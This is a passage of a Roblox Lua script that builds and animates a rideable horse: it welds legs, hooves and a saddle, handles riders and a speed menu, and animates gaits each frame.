  5574. local m = NP()
  5575. m.CanCollide = false
  5576. m.BrickColor = ManeColor
  5577. if HasHat then m.Transparency = 1 end
  5578. m.Size = Vector3.new(.95+ran()*.2,1,.4)
  5579. local tw = Weld(Head,m,CFrame.new(0,-.8+x*1.6,2.02-i*.23)*CFrame.Angles(-.2-i*.3,0,0),CFrame.Angles(ran()*.08,aran()*.03,ran()*.08))
  5580. table.insert(HeadHairs ,{w=tw,c0=tw.C0})
  5581. end
  5582.  
  5583. local LHip = NP()
  5584. LHip.Size = Vector3.new(1.5,3.7,3.5)
  5585. Weld(Main,LHip,CFrame.new(-1,-.5,2.2)*CFrame.Angles(0,.35,0))
  5586. Sphere(LHip)
  5587.  
  5588. local LThigh = NP()
  5589. LThigh.CanCollide = false
  5590. LThigh.Size = Vector3.new(1.6,4,2.2)
  5591. local BL1 = Weld(LHip,LThigh,CFrame.new(-.05,.3,-.5)*CFrame.Angles(0,-.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
  5592. Sphere(LThigh)
  5593.  
  5594. local LBCannon = NP()
  5595. LBCannon.CanCollide = false
  5596. LBCannon.Size = Vector3.new(1,2.8,1)
  5597. local sm = Instance.new("SpecialMesh",LBCannon)
  5598. sm.MeshType = "Head"
  5599. local BL2 = Weld(LThigh,LBCannon,CFrame.new(0,-LThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5600.  
  5601. local LBKnee = NP()
  5602. LBKnee.CanCollide = false
  5603. LBKnee.Size = Vector3.new(1,1,1)
  5604. local sm = Instance.new("SpecialMesh",LBKnee)
  5605. sm.MeshType = "Sphere"
  5606. Weld(LBCannon,LBKnee,CFrame.new(0,LBCannon.Size.Y/2-.1,0))
  5607.  
  5608. local LBHoof = NP()
  5609. LBHoof.BrickColor = HoofColor
  5610. LBHoof.CanCollide = false
  5611. LBHoof.Size = Vector3.new(1,.7,1)
  5612. Instance.new("CylinderMesh",LBHoof)
  5613. local BL3 = Weld(LBCannon,LBHoof,CFrame.new(0,-LBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5614.  
  5615. local Hoof = NP()
  5616. Hoof.BrickColor = HoofColor
  5617. Hoof.CanCollide = false
  5618. Hoof.Size = Vector3.new(.2,.699,.5)
  5619. Weld(LBHoof,Hoof,CFrame.new(.4,0,.25))
  5620. local Hoof = NP()
  5621. Hoof.BrickColor = HoofColor
  5622. Hoof.CanCollide = false
  5623. Hoof.Size = Vector3.new(.2,.699,.5)
  5624. Weld(LBHoof,Hoof,CFrame.new(-.4,0,.25))
  5625.  
  5626. local RHip = NP()
  5627. RHip.Size = Vector3.new(1.5,3.7,3.5)
  5628. Weld(Main,RHip,CFrame.new(1,-.5,2.2)*CFrame.Angles(0,-.35,0))
  5629. Sphere(RHip)
  5630.  
  5631. local RThigh = NP()
  5632. RThigh.CanCollide = false
  5633. RThigh.Size = Vector3.new(1.6,4,2.2)
  5634. local BR1 = Weld(RHip,RThigh,CFrame.new(.05,.3,-.4)*CFrame.Angles(0,.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
  5635. Sphere(RThigh)
  5636.  
  5637. local RBCannon = NP()
  5638. RBCannon.CanCollide = false
  5639. RBCannon.Size = Vector3.new(1,2.8,1)
  5640. local sm = Instance.new("SpecialMesh",RBCannon)
  5641. sm.MeshType = "Head"
  5642. local BR2 = Weld(RThigh,RBCannon,CFrame.new(0,-RThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5643.  
  5644. local RBKnee = NP()
  5645. RBKnee.CanCollide = false
  5646. RBKnee.Size = Vector3.new(1,1,1)
  5647. local sm = Instance.new("SpecialMesh",RBKnee)
  5648. sm.MeshType = "Sphere"
  5649. Weld(RBCannon,RBKnee,CFrame.new(0,RBCannon.Size.Y/2-.1,0))
  5650.  
  5651. local RBHoof = NP()
  5652. RBHoof.BrickColor = HoofColor
  5653. RBHoof.CanCollide = false
  5654. RBHoof.Size = Vector3.new(1,.7,1)
  5655. Instance.new("CylinderMesh",RBHoof)
  5656. local BR3 = Weld(RBCannon,RBHoof,CFrame.new(0,-RBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5657.  
  5658. local Hoof = NP()
  5659. Hoof.BrickColor = HoofColor
  5660. Hoof.CanCollide = false
  5661. Hoof.Size = Vector3.new(.2,.699,.5)
  5662. Weld(RBHoof,Hoof,CFrame.new(.4,0,.25))
  5663. local Hoof = NP()
  5664. Hoof.BrickColor = HoofColor
  5665. Hoof.CanCollide = false
  5666. Hoof.Size = Vector3.new(.2,.699,.5)
  5667. Weld(RBHoof,Hoof,CFrame.new(-.4,0,.25))
  5668.  
  5669. local LShoulder = NP()
  5670. LShoulder.Size = Vector3.new(1.5,2.5,2)
  5671. Weld(Main,LShoulder,CFrame.new(-.9,-.5,-2.4)*CFrame.Angles(0,.15,0))
  5672. Sphere(LShoulder)
  5673.  
  5674. local LForearm = NP()
  5675. LForearm.CanCollide = false
  5676. LForearm.Size = Vector3.new(1.2,3.5,1.5)
  5677. local FL1 = Weld(LShoulder,LForearm,CFrame.new(-.1,.2,.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
  5678. Sphere(LForearm)
  5679.  
  5680. local LFCannon = NP()
  5681. LFCannon.CanCollide = false
  5682. LFCannon.Size = Vector3.new(.8,2.8,.8)
  5683. local sm = Instance.new("SpecialMesh",LFCannon)
  5684. sm.MeshType = "Head"
  5685. local FL2 = Weld(LForearm,LFCannon,CFrame.new(0,-LForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5686.  
  5687. local LFKnee= NP()
  5688. LFKnee.CanCollide = false
  5689. LFKnee.Size = Vector3.new(.8,.8,.8)
  5690. local sm = Instance.new("SpecialMesh",LFKnee)
  5691. sm.MeshType = "Sphere"
  5692. Weld(LFCannon,LFKnee,CFrame.new(0,LFCannon.Size.Y/2-.1,0))
  5693.  
  5694. local LFHoof = NP()
  5695. LFHoof.BrickColor = HoofColor
  5696. LFHoof.CanCollide = false
  5697. LFHoof.Size = Vector3.new(.8,.6,.8)
  5698. Instance.new("CylinderMesh",LFHoof)
  5699. local FL3 = Weld(LFCannon,LFHoof,CFrame.new(0,-LFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5700.  
  5701. local Hoof = NP()
  5702. Hoof.BrickColor = HoofColor
  5703. Hoof.CanCollide = false
  5704. Hoof.Size = Vector3.new(.2,.599,.4)
  5705. Weld(LFHoof,Hoof,CFrame.new(.3,0,.2))
  5706. local Hoof = NP()
  5707. Hoof.BrickColor = HoofColor
  5708. Hoof.CanCollide = false
  5709. Hoof.Size = Vector3.new(.2,.599,.4)
  5710. Weld(LFHoof,Hoof,CFrame.new(-.3,0,.2))
  5711.  
  5712. local RShoulder = NP()
  5713. RShoulder.Size = Vector3.new(1.5,2.5,2)
  5714. Weld(Main,RShoulder,CFrame.new(.9,-.5,-2.4)*CFrame.Angles(0,-.15,0))
  5715. Sphere(RShoulder)
  5716.  
  5717. local RForearm = NP()
  5718. RForearm.CanCollide = false
  5719. RForearm.Size = Vector3.new(1.2,3.5,1.5)
  5720. local FR1 = Weld(RShoulder,RForearm,CFrame.new(.1,.2,-.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
  5721. Sphere(RForearm)
  5722.  
  5723. local RFCannon = NP()
  5724. RFCannon.CanCollide = false
  5725. RFCannon.Size = Vector3.new(.8,2.8,.8)
  5726. local sm = Instance.new("SpecialMesh",RFCannon)
  5727. sm.MeshType = "Head"
  5728. local FR2 = Weld(RForearm,RFCannon,CFrame.new(0,-RForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5729.  
  5730. local RFKnee= NP()
  5731. RFKnee.CanCollide = false
  5732. RFKnee.Size = Vector3.new(.8,.8,.8)
  5733. local sm = Instance.new("SpecialMesh",RFKnee)
  5734. sm.MeshType = "Sphere"
  5735. Weld(RFCannon,RFKnee,CFrame.new(0,RFCannon.Size.Y/2-.1,0))
  5736.  
  5737. local RFHoof = NP()
  5738. RFHoof.BrickColor = HoofColor
  5739. RFHoof.CanCollide = false
  5740. RFHoof.Size = Vector3.new(.8,.6,.8)
  5741. Instance.new("CylinderMesh",RFHoof)
  5742. local FR3 = Weld(RFCannon,RFHoof,CFrame.new(0,-RFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5743.  
  5744. local Hoof = NP()
  5745. Hoof.BrickColor = HoofColor
  5746. Hoof.CanCollide = false
  5747. Hoof.Size = Vector3.new(.2,.599,.4)
  5748. Weld(RFHoof,Hoof,CFrame.new(.3,0,.2))
  5749. local Hoof = NP()
  5750. Hoof.BrickColor = HoofColor
  5751. Hoof.CanCollide = false
  5752. Hoof.Size = Vector3.new(.2,.599,.4)
  5753. Weld(RFHoof,Hoof,CFrame.new(-.3,0,.2))
  5754.  
  5755.  
  5756.  
  5757. Seat = Instance.new("VehicleSeat",Model)
  5758. Seat.TopSurface,Seat.BottomSurface,Seat.LeftSurface,Seat.RightSurface,Seat.FrontSurface,Seat.BackSurface = 10,10,10,10,10,10
  5759. Seat.Size = Vector3.new(2,1.2,.5)
  5760. Seat.HeadsUpDisplay = false
  5761. Seat.CanCollide = false
  5762. Seat:BreakJoints()
  5763. Seat.Transparency = 1
  5764. Seat.CFrame = Main.CFrame
  5765. SeatWeld = Weld(Main,Seat,CFrame.new(0,2.5,-.5),CFrame.new(0,0,0))
  5766. local SeatWeld0 = SeatWeld.C0
  5767.  
  5768. Seat2 = Instance.new("Seat",Model)
  5769. Seat2.TopSurface,Seat2.BottomSurface,Seat2.LeftSurface,Seat2.RightSurface,Seat2.FrontSurface,Seat2.BackSurface = 10,10,10,10,10,10
  5770. Seat2.Size = Vector3.new(2,1.2,.5)
  5771. Seat2.CanCollide = false
  5772. Seat2.CFrame = Main.CFrame
  5773. Seat2:BreakJoints()
  5774. Seat2.Transparency = 1
  5775. Weld(Seat2,Seat,CFrame.new(0,0,-1.8))
  5776.  
  5777. SaddleMain = NP()
  5778. SaddleMain.Size = Vector3.new(2,1,3.5)
  5779. SaddleMain.BrickColor = SaddleColor
  5780. Sphere(SaddleMain)
  5781. Weld(Seat,SaddleMain,CFrame.new(0,-0.5,0.6))
  5782.  
  5783. SaddleFront = NP()
  5784. SaddleFront.Size = Vector3.new(1.6,1,0.3)
  5785. SaddleFront.BrickColor = SaddleColor
  5786. Sphere(SaddleFront)
  5787. Weld(SaddleMain,SaddleFront,CFrame.new(0,0.4,-1.4)*CFrame.Angles(math.rad(-30),0,0))
  5788.  
  5789. SaddleBack = NP()
  5790. SaddleBack.Size = Vector3.new(1.6,1,0.5)
  5791. SaddleBack.BrickColor = SaddleColor
  5792. Sphere(SaddleBack)
  5793. Weld(SaddleMain,SaddleBack,CFrame.new(0,0.3,1.4)*CFrame.Angles(math.rad(30),0,0))
  5794.  
  5795. SaddleFlankR = NP()
  5796. SaddleFlankR.Size = Vector3.new(0.3,1.7,1.8)
  5797. SaddleFlankR.BrickColor = SaddleColor
  5798. Sphere(SaddleFlankR)
  5799. Weld(SaddleMain,SaddleFlankR,CFrame.new(1.5,-0.8,0),CFrame.new(0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(-30)))
  5800.  
  5801. SaddleFlankL = NP()
  5802. SaddleFlankL.Size = Vector3.new(0.3,1.7,1.8)
  5803. SaddleFlankL.BrickColor = SaddleColor
  5804. Sphere(SaddleFlankL)
  5805. Weld(SaddleMain,SaddleFlankL,CFrame.new(-1.5,-0.8,0),CFrame.new(-0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(30)))
  5806.  
  5807.  
  5808.  
  5809. local sWeld1,sWeld2;
  5810.  
  5811. Seat.DescendantAdded:connect(function(obj)
  5812. if obj.Name == "SeatWeld" then
  5813. sWeld1 = obj
  5814. torso2 = obj.Part1.Parent.Torso
  5815. local Torso = obj.Part1.Parent.Torso
  5816. obj.C0 = obj.C0*CFrame.new(0,0,-1.5)
  5817. local lhipr = Torso:FindFirstChild("Left Hip")
  5818. local rhipr = Torso:FindFirstChild("Right Hip")
  5819. if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
  5820. for i,v in pairs(Model:GetChildren()) do
  5821. if v.Name == "Reins" and v:IsA("BasePart") then
  5822. v.Transparency = Main.Transparency
  5823. end
  5824. end
  5825. local lh0,lh1 = lhipr.Part0,lhipr.Part1
  5826. local rh0,rh1 = rhipr.Part0,rhipr.Part1
  5827. lhipr.Part0,lhipr.Part1 = nil,nil
  5828. rhipr.Part0,rhipr.Part1 = nil,nil
  5829. local lhip = lhipr:Clone()
  5830. lhip.Name = "LH"
  5831. lhip.Parent = lhipr.Parent
  5832. lhip.Part0,lhip.Part1 = lh0,lh1
  5833. local rhip = rhipr:Clone()
  5834. rhip.Name = "RH"
  5835. rhip.Parent = rhipr.Parent
  5836. rhip.Part0,rhip.Part1 = rh0,rh1
  5837. lhip.DesiredAngle = 0
  5838. rhip.DesiredAngle = 0
  5839. local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
  5840. lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
  5841. lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
  5842. rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
  5843. rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
  5844. local toolOn = false
  5845. local toolAn = 0
  5846. local toolCon;
  5847. local toolChan;
  5848. local oc0 = obj.C0
  5849. local newChild = function(d)
  5850. local md = d:FindFirstChild("MouseDown")
  5851. if d:IsA("Tool") and md and md:IsA("BoolValue") then
  5852. pcall(function() toolChan:disconnect() end)
  5853. toolOn = false
  5854. toolChan = md.Changed:connect(function()
  5855. toolOn = md.Value
  5856. if not toolOn then return end
  5857. pcall(function() ReinsHold = CFrame.new(0,2,-1.7) end)
  5858. while toolOn and game:service'RunService'.Stepped:wait() do
  5859. toolAn = math.min(1,toolAn+.2)
  5860. obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5861. end
  5862. while not toolOn and game:service'RunService'.Stepped:wait() do
  5863. toolAn = math.max(0,toolAn-.2)
  5864. obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5865. if toolAn == 0 then break end
  5866. end
  5867. ReinsHold = nil
  5868. end)
  5869. end
  5870. end
  5871. local ctrlgui;
  5872. if Torso.Parent then
  5873. toolCon = Torso.Parent.ChildAdded:connect(newChild)
  5874. for i,v in pairs(Torso.Parent:GetChildren()) do
  5875. newChild(v)
  5876. end
  5877. local plr = game.Players:GetPlayerFromCharacter(Torso.Parent)
  5878. if plr then
  5879. ctrlgui = Instance.new("ScreenGui")
  5880. local fr = Instance.new("Frame",ctrlgui)
  5881. fr.Position = UDim2.new(1,0,.9,0)
  5882. fr.Size = UDim2.new(-.07,0,.02,0)
  5883. fr.BackgroundTransparency = 1
  5884. local function nbtn(text,indent)
  5885. for i,v in pairs(fr:GetChildren()) do
  5886. v.Position = v.Position - UDim2.new(0,0,1,1)
  5887. end
  5888. local tb = Instance.new("TextButton",fr)
  5889. tb.Size = UDim2.new(-1,4+(indent-1)*3,1,-4)
  5890. tb.Position = UDim2.new(1,2,0,2)
  5891. tb.BorderSizePixel = 3
  5892. tb.BackgroundColor3 = HorseColor.Color
  5893. tb.BorderColor3 = ManeColor.Color
  5894. tb.Text = " "..text.." "
  5895. tb.TextXAlignment = "Left"
  5896. tb.TextColor3 = Color3.new(1,1,1)
  5897. tb.TextStrokeTransparency = .6
  5898. tb.TextScaled = true
  5899. tb.ZIndex = 10
  5900. local il = Instance.new("ImageLabel",tb)
  5901. il.Size = UDim2.new(-1,2,1,-2)
  5902. il.Image = "rbxassetid://129465985"
  5903. il.SizeConstraint = "RelativeYY"
  5904. il.BackgroundTransparency = 1
  5905. il.Position = UDim2.new(1,0,0,2)
  5906. il.ZIndex = 10
  5907. return tb
  5908. end
  5909. nbtn("| Horse menu",1).AutoButtonColor = false
  5910. nbtn("- Max speed",2).AutoButtonColor = false
  5911. local gal = nbtn("~ Gallop",3)
  5912. local trot = nbtn("~ Trot",3)
  5913. local walk = nbtn("~ Walk",3)
  5914. local tar = (SpeedLimit == MaxSpeed and gal or SpeedLimit == TrotSpeed and trot or walk)
  5915. tar.BackgroundColor3 = Color3.new(0,.7,0)
  5916. gal.MouseButton1Down:connect(function()
  5917. gal.BackgroundColor3 = Color3.new(0,.7,0)
  5918. trot.BackgroundColor3 = HorseColor.Color
  5919. walk.BackgroundColor3 = HorseColor.Color
  5920. SpeedLimit = MaxSpeed
  5921. end)
  5922. trot.MouseButton1Down:connect(function()
  5923. gal.BackgroundColor3 = HorseColor.Color
  5924. trot.BackgroundColor3 = Color3.new(0,.7,0)
  5925. walk.BackgroundColor3 = HorseColor.Color
  5926. SpeedLimit = TrotSpeed
  5927. end)
  5928. walk.MouseButton1Down:connect(function()
  5929. gal.BackgroundColor3 = HorseColor.Color
  5930. trot.BackgroundColor3 = HorseColor.Color
  5931. walk.BackgroundColor3 = Color3.new(0,.7,0)
  5932. SpeedLimit = WalkSpeed
  5933. end)
  5934. pcall(function()
  5935. for i,v in pairs(plr:GetChildren()) do
  5936. pcall(function()
  5937. if v:IsA("PlayerGui") then
  5938. ctrlgui.Parent = v
  5939. end
  5940. end)
  5941. end
  5942. end)
  5943. end
  5944. end
  5945.  
  5946. obj.AncestryChanged:connect(function(c,p)
  5947. if c ~= obj or p == Seat then return end
  5948. lhip:Destroy()
  5949. rhip:Destroy()
  5950. lhipr.Part0,lhipr.Part1 = lh0,lh1
  5951. rhipr.Part0,rhipr.Part1 = rh0,rh1
  5952. obj:Destroy()
  5953. ReinsHold = nil
  5954. for i,v in pairs(Model:GetChildren()) do
  5955. if v.Name == "Reins" and v:IsA("BasePart") then
  5956. v.Transparency = 1
  5957. end
  5958. end
  5959. pcall(function() toolCon:disconnect() end)
  5960. pcall(function() toolChan:disconnect() end)
  5961. pcall(game.Destroy,ctrlgui)
  5962. end)
  5963. end
  5964. end)
  5965.  
  5966. Seat2.DescendantAdded:connect(function(obj)
  5967. if obj.Name == "SeatWeld" then
  5968. sWeld2 = obj
  5969. local Torso = obj.Part1.Parent.Torso
  5970. obj.C0 = obj.C0*CFrame.new(0,.5,-1.5)
  5971. local lhipr = Torso:FindFirstChild("Left Hip")
  5972. local rhipr = Torso:FindFirstChild("Right Hip")
  5973. if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
  5974. local lh0,lh1 = lhipr.Part0,lhipr.Part1
  5975. local rh0,rh1 = rhipr.Part0,rhipr.Part1
  5976. lhipr.Part0,lhipr.Part1 = nil,nil
  5977. rhipr.Part0,rhipr.Part1 = nil,nil
  5978. local lhip = lhipr:Clone()
  5979. lhip.Name = "LH"
  5980. lhip.Parent = lhipr.Parent
  5981. lhip.Part0,lhip.Part1 = lh0,lh1
  5982. local rhip = rhipr:Clone()
  5983. rhip.Name = "RH"
  5984. rhip.Parent = rhipr.Parent
  5985. rhip.Part0,rhip.Part1 = rh0,rh1
  5986. lhip.DesiredAngle = 0
  5987. rhip.DesiredAngle = 0
  5988. local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
  5989. lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
  5990. lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
  5991. rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
  5992. rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
  5993. local toolOn = false
  5994. local toolAn = 0
  5995. local toolCon;
  5996. local toolChan;
  5997. local oc0 = obj.C0
  5998. local newChild = function(d)
  5999. local md = d:FindFirstChild("MouseDown")
  6000. if d:IsA("Tool") and md and md:IsA("BoolValue") then
  6001. pcall(function() toolChan:disconnect() end)
  6002. toolOn = false
  6003. toolChan = md.Changed:connect(function()
  6004. toolOn = md.Value
  6005. if not toolOn then return end
  6006. while toolOn and game:service'RunService'.Stepped:wait() do
  6007. toolAn = math.min(1,toolAn+.2)
  6008. obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  6009. end
  6010. while not toolOn and game:service'RunService'.Stepped:wait() do
  6011. toolAn = math.max(0,toolAn-.2)
  6012. obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  6013. if toolAn == 0 then break end
  6014. end
  6015. end)
  6016. end
  6017. end
  6018. toolCon = Torso.Parent.ChildAdded:connect(newChild)
  6019. for i,v in pairs(Torso.Parent:GetChildren()) do
  6020. newChild(v)
  6021. end
  6022. obj.AncestryChanged:connect(function(c,p)
  6023. if c ~= obj or p == Seat2 then return end
  6024. lhip:Destroy()
  6025. rhip:Destroy()
  6026. lhipr.Part0,lhipr.Part1 = lh0,lh1
  6027. rhipr.Part0,rhipr.Part1 = rh0,rh1
  6028. obj:Destroy()
  6029. end)
  6030. end
  6031. end)
  6032.  
  6033. for i,v in pairs(Model:GetChildren()) do
  6034. if v.Name == "Reins" and v:IsA("BasePart") then
  6035. v.Transparency = 1
  6036. end
  6037. end
  6038.  
  6039. local Filler = NP()
  6040. Filler.Size = Vector3.new(3,4,7)
  6041. Filler.Transparency = 1
  6042. Weld(Main,Filler,CFrame.new(0,-2,0))
  6043.  
  6044. local BallB = NP()
  6045. BallB.CanCollide = true
  6046. BallB.Shape = "Ball"
  6047. BallB.Size = Vector3.new(3,3,3)
  6048. BallB.Transparency = 1
  6049. local BBW = Weld(Main,BallB,CFrame.new(0,-Height+BallB.Size.Y/2,3))
  6050. BBW0 = BBW.C0
  6051.  
  6052. local BallF = NP()
  6053. BallF.CanCollide = true
  6054. BallF.Shape = "Ball"
  6055. BallF.Size = Vector3.new(3,3,3)
  6056. BallF.Transparency = 1
  6057. local FBW = Weld(Main,BallF,CFrame.new(0,-Height+BallB.Size.Y/2,-3))
  6058. FBW0 = FBW.C0
  6059.  
  6060. local BG = Instance.new("BodyGyro",Main)
  6061. BG.cframe = Main.CFrame
  6062. local bgcf = BG.cframe
  6063. BG.maxTorque = Vector3.new(1,1,1)*4e6
  6064.  
  6065. local BF = Instance.new("BodyForce",Main)
  6066. BF.force = Vector3.new(0,10000,0)
  6067.  
  6068. local BV = Instance.new("BodyVelocity",Main)
  6069. BV.maxForce = Vector3.new(1,1,1)*4e6
  6070. BV.velocity = Vector3.new()
  6071. local bvvel = Vector3.new()
  6072.  
  6073. local Legs = {
  6074. FR1,FR2,FR3,
  6075. FL1,FL2,FL3,
  6076. BR1,BR2,BR3,
  6077. BL1,BL2,BL3,
  6078. }
  6079. local Legs0 = {}
  6080. for i,v in pairs(Legs) do
  6081. Legs0[i] = v.C0
  6082. end
  6083.  
  6084. function RayCast(Ray,Ignore)
  6085. local hit,p = workspace:FindPartOnRayWithIgnoreList(Ray,Ignore)
  6086. if not hit or hit.CanCollide then
  6087. return hit,p
  6088. elseif hit then
  6089. table.insert(Ignore,hit)
  6090. return RayCast(Ray,Ignore)
  6091. end
  6092. end
  6093.  
  6094.  
  6095. --Model:MoveTo(startpos.p)
  6096.  
  6097. local climbangle = 0
  6098. local blinktimer = 0
  6099.  
  6100. --while game:GetService("RunService").Stepped:wait() do
  6101. local connection
  6102. connection = game:GetService("RunService").Stepped:connect(oc(function()
  6103. if not Model:IsDescendantOf(workspace) then
  6104. pcall(game.Destroy,Model)
  6105. pcall(game.Destroy,script)
  6106. connection:disconnect()
  6107. end
  6108. local th = Seat.Throttle
  6109. local st = Seat.Steer
  6110. local TailSin = math.sin(tick()*(th==1 and .5+Speed/MaxSpeed*6 or 2))
  6111. local BreathSin = math.sin(tick()*(th==1 and (Speed<=WalkSpeed and WalkSin/2 or Speed<=TrotSpeed and TrotSin/2 or GallopSin/2) or 2))
  6112. TailWeld.C0 = clerp(TailWeld.C0,TailWeld0 * CFrame.Angles(math.rad(th == 1 and 20+math.min(1,Speed/MaxSpeed)*(-50+TailSin*10) or th==-1 and 25 or 20),0,TailSin*.3),.15)
  6113.  
  6114. local d,un = 10;
  6115. if th == 0 and st == 0 then
  6116. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  6117. pcall(function()
  6118. local dis = v:DistanceFromCharacter(Head.Position)
  6119. if dis < d then
  6120. local u = Main.CFrame:vectorToObjectSpace((v.Character.Head.Position-Head.Position).unit)
  6121. if u.Z < 0 then
  6122. d,un = dis,u
  6123. end
  6124. end
  6125. end)
  6126. end
  6127. end
  6128.  
  6129. if math.random(1,150) == 1 then
  6130. blinktimer = 4
  6131. end
  6132. if blinktimer > 0 then
  6133. EyeR.BrickColor = HorseColor
  6134. EyeL.BrickColor = HorseColor
  6135. blinktimer = blinktimer - 1
  6136. else
  6137. EyeR.BrickColor = EyeColor
  6138. EyeL.BrickColor = EyeColor
  6139. end
  6140. NeckWeld.C0 = clerp(NeckWeld.C0,CFrame.Angles(0,-st*.1-(un and math.sin(un.X)/2 or 0),-st*.1) *NeckWeld0 * CFrame.Angles(math.rad(BreathSin*2+(th==1 and -math.min(1,math.max(0,Speed-10)/(MaxSpeed-10))*45 or th == -1 and 10 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
  6141. HeadWeld.C0 = clerp(HeadWeld.C0,CFrame.Angles(0,-st*.3-(un and math.sin(un.X)/2 or 0),-st*.1) *HeadWeld0 * CFrame.Angles(math.rad(BreathSin*-4+(th==1 and 10 or th == -1 and -30 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
  6142. MainMesh.Scale = Vector3.new(1,1+(BreathSin*.025),1)
  6143. SeatWeld.C0 = SeatWeld0 + Vector3.new(0,BreathSin*.05,0)
  6144. bgcf = bgcf * CFrame.Angles(0,-st*.05,0)
  6145. BG.cframe = clerp(bgcf,bgcf * CFrame.Angles(0,0,th==1 and -st*(.1+Speed/MaxSpeed*.1) or 0),.1)*CFrame.Angles(climbangle,0,-st*.25*(Speed/MaxSpeed))
  6146. Speed = math.max(th==-1 and -WalkSpeed or th==1 and math.min(SpeedLimit,10) or 0,math.min(SpeedLimit,Speed+(th==1 and .25 or -3)))
  6147. updown = th==1 and Speed > TrotSpeed and math.abs(math.sin((tick()-.1)*3)) or math.max(0,(updown or 0)-.1)
  6148.  
  6149. local front = Main.CFrame*CFrame.new(0,0,-3)
  6150. local back = Main.CFrame*CFrame.new(0,0,3)
  6151.  
  6152.  
  6153. local fHit,fP = RayCast(Ray.new(front.p,front:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})
  6154.  
  6155. local fDiff = (front.p-fP).magnitude
  6156. if fDiff > Height*2 then
  6157. fHit = nil
  6158. end
  6159. local fY = math.max(fP.Y,front.Y-Height)
  6160.  
  6161. local bHit,bP = RayCast(Ray.new(back.p,back:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})
  6162. local bDiff = (back.p-bP).magnitude
  6163. if bDiff > Height*2 then
  6164. bHit = nil
  6165. end
  6166. local bY = math.max(bP.Y,back.Y-Height)
  6167.  
  6168. local diffY = (fY+bY)/2-(Main.Position.Y-Height)
  6169.  
  6170. climbangle = fHit and bHit and math.asin((fP-bP).unit.Y) or climbangle*.5
  6171.  
  6172. bvvel = Main.CFrame.lookVector.unit * Speed
  6173. BV.velocity = (fP-bP).unit*Speed + Vector3.new(0,-(math.min(fDiff-Height,bDiff-Height)+updown*.8)*3,0)
  6174. BV.maxForce = Vector3.new(1,1,1)*4e6
  6175. BBW.C0 = BBW0 + Vector3.new(0,updown*.8,-1.4)
  6176. FBW.C0 = FBW0 + Vector3.new(0,updown*.8,1.4)
  6177.  
  6178. for i=1,#Legs,3 do
  6179. local ang = 0;
  6180. local ang2 = 0;
  6181. local ang3 = 0;
  6182. local time = tick()
  6183. if i < #Legs/2 then -- front
  6184. if i%6 == 1 then -- Right
  6185. if th == 1 then
  6186. if Speed <= WalkSpeed then -- walky
  6187. ang = math.sin(time*WalkSin)*.15 + .05
  6188. ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
  6189. elseif Speed <= TrotSpeed then
  6190. ang = math.sin(time*TrotSin)*.5 + .4
  6191. ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
  6192. else
  6193. ang = math.sin(time*6)*.8 + .35
  6194. ang2 = -math.abs(math.cos(time*3))*1.8
  6195. end
  6196. elseif th == -1 then
  6197. ang = math.sin(time*6)*.3 +.25
  6198. time = time -.1
  6199. ang2 = -math.abs(math.sin(time*3))*1.3 +.2
  6200. else
  6201. ang = math.sin(tick()*2)*.5 + .5
  6202. ang2 = -math.abs(math.cos(tick()*1) )*1.5
  6203. ang3 = ang2
  6204. end
  6205. else -- left
  6206. if th == 1 then
  6207. if Speed <= WalkSpeed then -- walky
  6208. time = time + math.pi/WalkSin
  6209. ang = math.sin(time*WalkSin)*.15 + .05
  6210. ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
  6211. elseif Speed <= TrotSpeed then
  6212. time = time + math.pi/TrotSin
  6213. ang = math.sin(time*TrotSin)*.5 + .4
  6214. ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
  6215. else
  6216. time = time + .15
